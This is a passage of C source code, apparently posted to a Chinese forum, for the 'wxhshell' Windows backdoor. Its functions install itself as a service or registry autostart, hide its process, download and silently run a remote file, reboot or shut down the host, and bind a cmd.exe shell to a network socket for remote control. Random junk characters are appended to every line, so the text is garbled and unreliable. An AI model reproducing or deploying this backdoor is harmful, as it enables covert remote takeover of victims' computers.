      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Gt$PBlq0  
    break; L2IY$+=M  
  } wCt!.<, .  
  // 安装 'M35L30  
  case 'i': { f {j`d&|  
    if(Install()) aL|a2+P[`q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D+xPd<  
    else }k0B   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (mgv:<c;BA  
    break; QV>hQ]L  
    } XP(fWRT1  
  // 卸载 WelB"L  
  case 'r': { bL2b^UB~%  
    if(Uninstall()) -Mzm~@_s]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,In}be$:  
    else <O3,b:vw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WesEZ\V  
    break; AGV+Y 6  
    } TG6E^3a P  
  // 显示 wxhshell 所在路径 Qe;R3D=T;  
  case 'p': { RG6U~o1  
    char svExeFile[MAX_PATH]; ,.i)(Or  
    strcpy(svExeFile,"\n\r"); #{g6'9PMz  
      strcat(svExeFile,ExeFile); ]p*Fq^  
        send(wsh,svExeFile,strlen(svExeFile),0); 8Z>=sUMQ  
    break; MI,kKi  
    } F.iJz4ya_  
  // 重启 @DuSii#.S  
  case 'b': { %I#[k4,N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rnP *}  
    if(Boot(REBOOT)) Gj&`+!\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S\0?~l"}  
    else { :+Tvq,/"  
    closesocket(wsh); r:5u(2  
    ExitThread(0); q|QkJr <  
    } J3y4 D}  
    break; <_#a%+5d  
    } }CQ)W1mO"  
  // 关机 5GwzG<.\^_  
  case 'd': { ^]TYS]C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Cznp(z  
    if(Boot(SHUTDOWN)) }3=^Ik;x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1q/Q@O  
    else { )#v0.pE  
    closesocket(wsh); #\&64  
    ExitThread(0); 2}6StmE }  
    } ^q\9HBHT  
    break; j7qGZ"8ak  
    } N*'d]P2P`J  
  // 获取shell Eb89B%L62G  
  case 's': { HME`7dw?  
    CmdShell(wsh); )KKmV6>b  
    closesocket(wsh); B`?5G\7L  
    ExitThread(0); W+BHt{  
    break; z K6'wL!!I  
  } }TG=ZVi  
  // 退出 =j~Xrytn  
  case 'x': { &6^QFqqW`-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /^':5"=o  
    CloseIt(wsh); %Wa. 2s  
    break; _$m1?DZ  
    } =-;J2Qlg6  
  // 离开 `J-&Y2_/k  
  case 'q': { %YwIR.o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @(any ^QJ  
    closesocket(wsh); dCO)"]  
    WSACleanup(); gUrXaD#  
    exit(1); a[7 Lqu  
    break; lO=~&_  
        } h`pXUnEZ  
  } %ql2 XAY  
  } Pvz\zRq  
Y(C-o[-N  
  // 提示信息 V?N8 ,)j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t&H3yV  
} ;fZ9:WB  
  } p~17cH4~-f  
JQH>{OB  
  return; =4804N7  
} et}%E9  
i7foZ\btFc  
// shell模块句柄 2Z7r ZjXW  
int CmdShell(SOCKET sock) T*qSk!  
{ BL H~`N3U  
STARTUPINFO si; wD5fm5r=  
ZeroMemory(&si,sizeof(si)); h5}:>yc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =v7%IRP5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L]{1@~E:q  
PROCESS_INFORMATION ProcessInfo; M`tNYs]V  
char cmdline[]="cmd"; /7uA f{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a G\  
  return 0; 2)(ynrCe  
} Kd;)E 9Ti  
^'Qe.DW[  
// 自身启动模式 52q<|MW%  
int StartFromService(void) D0LoT?$N  
{ ?(>fB2^  
typedef struct eY8rm  
{ d< b,].  
  DWORD ExitStatus; ?VR:e7|tU  
  DWORD PebBaseAddress; 4x2,X`pe3  
  DWORD AffinityMask; P:fcbfH+  
  DWORD BasePriority; Q$8K-5U%  
  ULONG UniqueProcessId; hv#|dI=kZR  
  ULONG InheritedFromUniqueProcessId; HB, k}Q  
}   PROCESS_BASIC_INFORMATION; G$-[(eu -  
;CLOZ{  
PROCNTQSIP NtQueryInformationProcess; O^KIB%}fu  
?k+>~k{}a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fm4)|5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c&I"&oZ@&  
rA[wC%%  
  HANDLE             hProcess; C!}t6  
  PROCESS_BASIC_INFORMATION pbi; 6Ej.X)~'K  
 I6rB_~]h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R>R8LIZZc  
  if(NULL == hInst ) return 0; 3h`_Qv%g  
Jo4iWJpK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \7] SG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]B3f$;W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;P9cjfSn  
@=dwvl' W  
  if (!NtQueryInformationProcess) return 0; ` *q>E  
~;yP{F8?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @3Gr2/a  
  if(!hProcess) return 0; s_%KWkS  
E@_]L<Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `]j:''K  
~ ^*;#[<  
  CloseHandle(hProcess); nj6|WJ  
.^V9XN{'a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .dKFQH iYJ  
if(hProcess==NULL) return 0; @ ('/NjTZ  
nWFU8u%  
HMODULE hMod; IM=3n%6  
char procName[255]; 9qI#vHA  
unsigned long cbNeeded; P~M<OUg  
"g:1br?X,9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !U4<4<+  
jP}Ix8vc=  
  CloseHandle(hProcess); DE!c+s_g4  
}fh<LCwTi  
if(strstr(procName,"services")) return 1; // 以服务启动 q6EZ?bo{  
FgnPh%[u  
  return 0; // 注册表启动 PgdHH:v)  
} 0F9p'_C  
D8f4X w}=  
// 主模块 1Uk Gjw1J  
int StartWxhshell(LPSTR lpCmdLine) D|D) 782  
{ >b2wFo/em  
  SOCKET wsl; S(PU"}vZy  
BOOL val=TRUE; 'w?}~D.y  
  int port=0; 5F$~ZDu  
  struct sockaddr_in door; HUalD3 \  
'g:.&4x_w  
  if(wscfg.ws_autoins) Install(); 0bl8J5Ar5  
D.*o^{w|  
port=atoi(lpCmdLine); ,vB~9^~  
8 DPn5E#M1  
if(port<=0) port=wscfg.ws_port; HwZ"l31  
@7`=0;g  
  WSADATA data; 1"f)\FPGe  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v \dP  
{'z(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |vtj0 ,[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wyB  
  door.sin_family = AF_INET; $[V-M\q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PnZY%+[I  
  door.sin_port = htons(port); #AF.1;(k  
`oOVR6{K9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s y>}2orj~  
closesocket(wsl); `Ha<t.v(  
return 1; c]68$;Z7  
} <lTLz$QE  
"Pa  y2  
  if(listen(wsl,2) == INVALID_SOCKET) { b=XXp`h~a  
closesocket(wsl); q aG8:  
return 1; dy3fZ(=q^  
} T\w{&3ONm  
  Wxhshell(wsl); }6!m Q  
  WSACleanup(); _~bG[lX!  
mr>dZ)  
return 0; ffR<G&"n~b  
z!aU85y  
} nrKir  
+g&M@8XO&  
// 以NT服务方式启动 Vp1Ff  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s'/ZtH6>C  
{ cYz|Ux  
DWORD   status = 0; yq12"Rs  
  DWORD   specificError = 0xfffffff; nQ#NW8*Fs  
ZoR6f\2M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; { t@7r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6[Wv g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DLO2$d  
  serviceStatus.dwWin32ExitCode     = 0; Ie(M9QMp  
  serviceStatus.dwServiceSpecificExitCode = 0; cC]lO  
  serviceStatus.dwCheckPoint       = 0; Q!{,^Qb  
  serviceStatus.dwWaitHint       = 0; ?*&5`Xh  
Yc^,Cj{OM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,c|Ai(U  
  if (hServiceStatusHandle==0) return; 1*?L>@Wdy  
LAY~hF"  
status = GetLastError(); 1!;4I@W(I)  
  if (status!=NO_ERROR) 7X<#  
{ Y'yGhpT~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;%Kh~  
    serviceStatus.dwCheckPoint       = 0; ;]>a7o  
    serviceStatus.dwWaitHint       = 0; 7M<co,"  
    serviceStatus.dwWin32ExitCode     = status; ` >[Offhd  
    serviceStatus.dwServiceSpecificExitCode = specificError; $l_\9J913  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZMGC@4^F  
    return; gWfMUl  
  } pkc*toW  
g`dAj4B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W1ql[DqE{  
  serviceStatus.dwCheckPoint       = 0; bMGXx>x  
  serviceStatus.dwWaitHint       = 0; yH0vESgv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S]?I7_  
} gwDVWhq  
jD ?*sd  
// 处理NT服务事件,比如:启动、停止 dH)\zCt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IHv>V9yiG  
{ t:YMF$Z  
switch(fdwControl) KM/c^ a4V  
{ ufJHC06  
case SERVICE_CONTROL_STOP: q<Y#-Io%3  
  serviceStatus.dwWin32ExitCode = 0; |%@pjJ`3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P52qtN<  
  serviceStatus.dwCheckPoint   = 0; #9t3<H[  
  serviceStatus.dwWaitHint     = 0; FiKGB\_]  
  { |Q$Dj!!1P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bzh:  
  } )!Zm*(  
  return; lsU`~3nr  
case SERVICE_CONTROL_PAUSE: { a_&L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i93^E~q]  
  break; |eqp3@Y1E  
case SERVICE_CONTROL_CONTINUE: Bw>)gSB5$k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?8YbTn1f)  
  break; ijmGk:L(  
case SERVICE_CONTROL_INTERROGATE: _|7bpt9  
  break; mXI'=Vo!S  
}; 6L3i   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NXOcsdcZu  
} ;)z+dd#3  
JZ/T:Hsh4  
// 标准应用程序主函数 d(C5i8d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _Zus4&'  
{ L=&}s[5  
w[#*f?at~  
// 获取操作系统版本 !:a^f2^=  
OsIsNt=GetOsVer(); lQpl8>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ucFfxar"  
|}Z2YDwO/  
  // 从命令行安装 n$<n Yr`X  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y?:" nhN  
xXCsJ9]  
  // 下载执行文件 uG(XbDZZ1W  
if(wscfg.ws_downexe) { `:W}yo<F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G,6 i!M  
  WinExec(wscfg.ws_filenam,SW_HIDE); \{= {{O  
} &3:<WU:U  
<(l`zLf4p  
if(!OsIsNt) { [<X ~m  
// 如果时win9x,隐藏进程并且设置为注册表启动 wI?AZd;`'  
HideProc(); IEY\l{s  
StartWxhshell(lpCmdLine); czH# ~  
} szp.\CMz  
else Nb)Mh  
  if(StartFromService()) = VMELk!z  
  // 以服务方式启动 nGxG!  
  StartServiceCtrlDispatcher(DispatchTable); <tdsUh:?&  
else 0@RVM|  
  // 普通方式启动 S7j U:CLJ  
  StartWxhshell(lpCmdLine); &;U F,  
Pb<6-Jc[  
return 0; ~|{_Go{ Q  
}
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只看该作者 1 发表于: 2006-10-10
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